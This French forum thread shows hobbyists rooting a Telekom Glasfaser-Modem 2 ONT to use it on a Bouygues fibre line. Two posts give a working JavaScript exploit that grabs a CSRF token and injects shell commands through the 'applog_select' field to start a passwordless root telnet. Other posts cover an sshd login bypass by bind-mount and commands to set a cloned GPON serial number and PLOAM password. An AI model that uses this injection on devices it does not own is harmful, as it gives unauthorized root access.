Auteur Sujet: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK  (Lu 18584 fois)

0 Membres et 1 Invité sur ce sujet

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #108 le: 08 juin 2023 à 23:06:32 »
Bonsoir, oui je l'ai toujours, cela me permettra de voir si la TV fonctionne avec cet ONT.
Toutefois, j'ai uniquement lu en diagonale, quelles sont les commandes curl à lancer pour avoir accès à un shell ?

Alors si je remets la séquence:

une fois que tu as accès à l'ONT en 192.168.100.1, si tu past le code suivant dans la console JS et que ca répond '1' tu devrais avoir un telnet sans mot de passe activé
// Fetch a non csrf protected page to get a csrf token
await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) {
return response.text();
}).then(function (html) {
//inject the html response into a HTML DOM to parse it
    var el = document.createElement( 'html' );
    el.innerHTML = html;
//The token is inserted into the first <script> tag of the page
    var es = el.getElementsByTagName( 'script' );
var aText = es[0].text;
//Add the csrf token in the document for other requests
    document.csrf_token = aText.match("'(.*)'")[1];
}).catch(function (err) {
console.warn('Something went wrong.', err);
});

//use the csrf token to activate telnet with no login and a shell

fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
  },
  body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/sbin:/bin:/usr/sbin:/usr/bin:/mnt/rootfs/bin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'
})
.then(res => res.json())
.then(console.log)

du coup telnet 192.168.100.1 devrait ouvrir un shell sans mot de passe en root

//EDIT avant d'attaquer la remount de cette partition @hwti propose d'essayer directement le fichier /tmp/hw_info/gpon_sn cf https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/msg1020441/#msg1020441)

Ensuite dans le shell tu peux remonter la partition avec les S/N en RW:
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
je serais d'avis de faire un backup des fichiers du dossier ft au cas ou ...



Dans tous les cas il faut applisquer le PLOAM password (cf methode curl déjà posté dans le thread)

Par contre a chaque reboot faut refaire la manip pour le telnet, le S/N faudra voir quel fichier fonctionne, le PLOAM est sauvé par contre. Tant qu'on a un telnet non secure il ne vaut mieux pas le garder après reboot.
EDIT le fichier a modifier est gpon_sn

Benoit

Voilà.
« Modifié: 12 juin 2023 à 23:49:38 par benoitm974 »

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #109 le: 08 juin 2023 à 23:15:42 »
Donc aucun root=xxx, et je ne sais pas qui monte /dev/mtdblock22 sur /mnt/rootfs.
Y'a pas mal de référence ubi dans des binaire différent c'est pas très pratique à suivre ...

Citer
Les deux, /bin/login est un symlink vers sc_cli, mais telnetd et sshd sont aussi patchés.
Oui, j'ai fini par comprendre, mais j'ai pas trouvé d'astuce pour ssh alors qu'ils ont laissé l'option -l de telnetd qui nous sauve ici.

Citer
A quoi sert le cttyhack ici ?
telnetd doit déjà allouer un PTY.
Oui on peut le retirer un oublie lié au test que j'ai faut pour comprendre ce que /bin/login faisait.

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #110 le: 09 juin 2023 à 10:21:21 »
Bonsoir, oui je l'ai toujours, cela me permettra de voir si la TV fonctionne avec cet ONT.
Toutefois, j'ai uniquement lu en diagonale, quelles sont les commandes curl à lancer pour avoir accès à un shell ?

A priori l'ONT reçoit bien la config iptv de Bouygues quand on lance la commande umci_ctl rg get iptv_conf
/usr/www-ap # umci_ctl rg get iptv_conf
Multicast gem idx: 1
CONF PORT NUM: 1
###########################################
IGMP CONF idx 0
MCAST CONF idx 0
PORT Index 0
Matched Vlan type 3, ID 1
MAX Simulate group 6
MAX Mcast bandwidth 0
IGMP version 2
IGMP func 0
IS Immediate leave 1
US_IGMP_RATE 12
Query IP Address 0.0.0.0
Query Interval 125
Query Response Time 100
US VLAN Action: transparent, TCI: 0x00
DS VLAN Action: transparent, TCI: 0x00
Access Table idx 0, row tpye 0:
gem_id    vlan_id   src_addr            start_grp_addr      end_grp_addr        bandwidth           
4095      100       0.0.0.0             224.0.1.0           239.255.255.255     0                   
###########################################
omcictl get iptv info succeed

pourtant dans mes tests avec un openwrt/igmpproxy on voit bien toutes les trames igmp/icmp mais jamais on ne voit le flux multicast arriver... pourtant il semble que la config ici prévoit bien ce cas de flux provenant de 0.0.0.0 donc le bridge devrait laisser passer le flux. Il n'y a aucune règle firewall sur l'OLT non plus à priori.

Par contre la partie UI parle d'un multicast_transparent feature mais je ne vois pas ce qu'elle impact ou si elle est plutot pour la modem/OLT de sercomm...

Benoit

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #111 le: 09 juin 2023 à 10:34:40 »
On doit également pouvoir changer l'OLT type via
uomci_ctl [-f <filename> ] stack <option>
        help                            -Help
        get version                     -Dispaly omci stack version.
        get omci_st                     -Dispaly statistics about omci status.
        set cmpt                        -Set compatibility of UOMCI stack.
        get cmpt                        -Get compatibility of UOMCI stack.
        get olt_type                    -Display OLT type.
        set olt_type                    -Set OLT type.
        set simulator                   -Set OLT simulator enable.
        conf load                       -Load omci config.
        conf dump                       -Display onu configuration.
        alarm report                    -Report alarm message to OLT.
        set log_level                   -Set omci stack loglevel.
        set manage_method               -Set ETH uni manage method.

dans le code UI on trouve une liste de valeur, par contre on trouve aussi une option auto_detect qui ne semble pas être dans l'outil uomci_ctl
        html += '<option value="1">'+getHTMLString(1301506)+'</option>'; //Huawei
        html += '<option value="2">'+getHTMLString(1301951)+'</option>'; //Ericsson
        html += '<option value="3">'+getHTMLString(1301507)+'</option>'; //ZTE
        html += '<option value="4">'+getHTMLString(1301508)+'</option>'; //Nokia
        html += '<option value="5">'+getHTMLString(1301509)+'</option>'; //FiberHome
        html += '<option value="6">'+getHTMLString(1301559)+'</option>'; //Eltex
        html += '<option value="7">'+getHTMLString(1301560)+'</option>'; //Str
        html += '<option value="8">'+getHTMLString(1301561)+'</option>'; //std /*No Private ME*/
        html += '<option value="9">'+getHTMLString(1301510)+'</option>'; //Others
        $('select#oletype_selection').html(html);
       
        html = '';
        html += '<option value="0">'+getHTMLString(1300002)+'</option>'; //Disable
        html += '<option value="1">'+getHTMLString(1301408)+'</option>'; //Enable
        $('select#gpon_auto_detect').html(html);

a priori chez moi je suis en Huawei et mon olt_type est bien 1 dans le config ...

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #112 le: 09 juin 2023 à 12:12:15 »
Alors si je remets la séquence:

une fois que tu as accès à l'ONT en 192.168.100.1, si tu past le code suivant dans la console JS et que ca répond '1' tu devrais avoir un telnet sans mot de passe activé
// Fetch a non csrf protected page to get a csrf token
await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) {
return response.text();
}).then(function (html) {
//inject the html response into a HTML DOM to parse it
    var el = document.createElement( 'html' );
    el.innerHTML = html;
//The token is inserted into the first <script> tag of the page
    var es = el.getElementsByTagName( 'script' );
var aText = es[0].text;
//Add the csrf token in the document for other requests
    document.csrf_token = aText.match("'(.*)'")[1];
}).catch(function (err) {
console.warn('Something went wrong.', err);
});

//use the csrf token to activate telnet with no login and a shell

fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
  },
  body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'
})
.then(res => res.json())
.then(console.log)

du coup telnet 192.168.100.1 devrait ouvrir un shell sans mot de passe en root

//EDIT avant d'attaquer la remount de cette partition @hwti propose d'essayer directement le fichier /tmp/hw_info/gpon_sn cf https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/msg1020441/#msg1020441)

Ensuite dans le shell tu peux remonter la partition avec les S/N en RW:
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
je serais d'avis de faire un backup des fichiers du dossier ft au cas ou ...



Dans tous les cas il faut applisquer le PLOAM password (cf methode curl déjà posté dans le thread)

Par contre a chaque reboot faut refaire la manip pour le telnet, le S/N faudra quel fichier fonctionne, le PLOAM est sauvé par contre. Tant qu'on a un telnet non secure il ne vaut mieux pas le garder après reboot.

Benoit

Voilà.

a tester pour mettre le PLOAM password et le Serial number y'a une commande:
       gponctl getSnPwd
       gponctl setSnPwd
                    [ --sn  <xx-xx-xx-xx-xx-xx-xx-xx>
                      --pwd <xx-xx-xx-xx-xx-xx-xx-xx-xx-xx> (up to 36 bytes)]

exemple sortie bouygues HAEWEI ou XX sont les 15 chiffre de l'IMEI (cf premier post pour le trouver dans l'interface ou sur l'étiquette):
======== Serial Number & Password ========

   Serial Number: 53-43-4F-4D-YY-YY-YY-YY
   Password     : 00-00-0X-XX-XX-XX-XX-XX-XX-XX-00-00-00-00-00-00-
                  00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-
                  00-00-00-00

==========================================

//EDIT suite à une erreur de script j'ai malencotreusement lancer le script board_init qui efface les mtd5 et peut-être plus.... du coup j'ai perdu la config des numéro de série et ploam.

Du coup j'ai pu tester la comme gponctl pour mette à la fois le S/N et le PLOAM pwd, ca ne marche que si on stop gpon avant et relance après..

du coup
gponctl stop
gponctl setSnPwd --pwd 00-00-0X-XX-XX-XX-XX-XX-XX-XX --sn YY-YY-YY-YY-YY-YY-YY-YY
gponctl start

#on peut voir le status avec
gponctl getstate

par contre ca n'a pas l'air de rester post boot

« Modifié: 09 juin 2023 à 13:54:13 par benoitm974 »

hwti

  • Abonné Orange Fibre
  • *
  • Messages: 2 237
  • Chambly (60)
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #113 le: 09 juin 2023 à 18:13:35 »
Pour gponctl, ça semble être un outil Broadcom, cf  https://github.com/RMerl/asuswrt-merlin.ng/blob/e401e313fac7b7fda9e0b94e1ec13995d88aebb6/release/src-rt-5.02axhnd/userspace/private/include/gponctl_api.h (les APIs de la lib).
Donc ce n'est pas étonnant que les changements ne soient pas conservés après un reboot.

/lib/libhal_gpon.so et /lib/lib/libhal_gpon_manage.so font des appels à libgponctl.so.
Il y a /usr/sbin/hal_gpon_ctl qui est probablement un outil SerComm (donc un cran au dessus de gponctl).

hwti

  • Abonné Orange Fibre
  • *
  • Messages: 2 237
  • Chambly (60)
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #114 le: 09 juin 2023 à 18:23:04 »
Oui, j'ai fini par comprendre, mais j'ai pas trouvé d'astuce pour ssh alors qu'ils ont laissé l'option -l de telnetd qui nous sauve ici.
S'ils ont patché un appel /bin/sh, on devrait pouvoir le remettre avec quelque chose comme :
echo -e "#!/bin/sh\nexec /bin/sh" > /tmp/sh
chmod 755 /tmp/sh
mount --bind /tmp/sh /bin/sc_cli
(on ne peut pas faire un bind d'un symlink directement, sinon argv[0] resterait "sc_cli", alors qu'il faut que ce soit "sh" pour que Busybox lance l'applet)

Oui on peut le retirer un oublie lié au test que j'ai faut pour comprendre ce que /bin/login faisait.
Donc "telnetd -l /bin/sh" fonctionne peut-être.

hwti

  • Abonné Orange Fibre
  • *
  • Messages: 2 237
  • Chambly (60)
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #115 le: 09 juin 2023 à 18:57:48 »
Je me demande si on ne pourrait pas restaurer l'UI par défaut (temporairement).
Il faudrait un "mount --bind /tmp/index/html /usr/www-ap/index.html", et un /tmp/index.html qui :
 - charge js/mainFrame.js, js/mainFunctions.js
 - appelle main_init("overview")

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #116 le: 09 juin 2023 à 19:38:06 »
Je me demande si on ne pourrait pas restaurer l'UI par défaut (temporairement).
Il faudrait un "mount --bind /tmp/index/html /usr/www-ap/index.html", et un /tmp/index.html qui :
 - charge js/mainFrame.js, js/mainFunctions.js
 - appelle main_init("overview")
Haha c'est marrant c'est ce que j'avais fait avec de l'injection JS depuis le navigateur tant que j'avais pas accès au telnet ca marche pas mal. mais j'ai pas pensé à le faire maintenant qu'on accès au FS :)

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #117 le: 10 juin 2023 à 00:14:26 »
Haha c'est marrant c'est ce que j'avais fait avec de l'injection JS depuis le navigateur tant que j'avais pas accès au telnet ca marche pas mal. mais j'ai pas pensé à le faire maintenant qu'on accès au FS :)

Bon ben c'est presque plus simple de faire des injections à coté, car il y a plein de cas de test qui renvoient vers /overview.html or cette page n'existe pas à la racine de /tmp/www et impossible de faire un bind sur un fichier non existant. Du coup je me suis dis qu'on pouvait copier www-ap en entient dans un dossier sur /tmp et relancer mini_httpd en le faisant pointer sur le nouveau dossier... impossible il dit que l'adresse est déjà utilisé pourtant j'ai bien tué le process. meme en essayant de lancer le mini_httpd sur un autre port... impossible .. etrange.

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #118 le: 10 juin 2023 à 00:17:06 »
Pour gponctl, ça semble être un outil Broadcom, cf  https://github.com/RMerl/asuswrt-merlin.ng/blob/e401e313fac7b7fda9e0b94e1ec13995d88aebb6/release/src-rt-5.02axhnd/userspace/private/include/gponctl_api.h (les APIs de la lib).
Donc ce n'est pas étonnant que les changements ne soient pas conservés après un reboot.

/lib/libhal_gpon.so et /lib/lib/libhal_gpon_manage.so font des appels à libgponctl.so.
Il y a /usr/sbin/hal_gpon_ctl qui est probablement un outil SerComm (donc un cran au dessus de gponctl).

Je me suis dis ça aussi mais les réponse de hal_gpon_ctl ne correspondent pas à ce qu'il y a dans les fichiers :(
/usr/www-ap # hal_gpon_ctl get_sn
argv[0]:hal_gpon_ctl
argv[1]:get_sn
sn:SCOM�;�"
/usr/www-ap # hal_gpon_ctl get_passwd
argv[0]:hal_gpon_ctl
argv[1]:get_passwd
password: (vide)

benoitm974

  • Abonné Bbox fibre
  • *
  • Messages: 111
  • chatillon 92
Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
« Réponse #119 le: 10 juin 2023 à 18:46:12 »
S'ils ont patché un appel /bin/sh, on devrait pouvoir le remettre avec quelque chose comme :
echo -e "#!/bin/sh\nexec /bin/sh" > /tmp/sh
chmod 755 /tmp/sh
mount --bind /tmp/sh /bin/sc_cli
Oui! ca fonctionne pour sshd avec le /tmp/sh pour que busybox recoive l'applet name 'sh' on a un ssh fonctionnel ! qui vérifie le login 'DTTEL' (car sshd est patché pour l'existance du user aussi) existe dans /var/cli_pw par contre il ne vérifie pas le password... puisqu'on bind aussi /bin/login indirectement ...

Citer
Donc "telnetd -l /bin/sh" fonctionne peut-être.
Non telnet passe des arguments du coup sh execute et quitte en erreur.
//EDIT: les arguments {slogin} /bin/sh /tmp/slogin -m TELNET -p ::ffff:192.168.100.2

telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.

/bin/sh: can't open 'TELNET'
Connection closed by foreign host.

« Modifié: 21 juin 2023 à 19:54:44 par benoitm974 »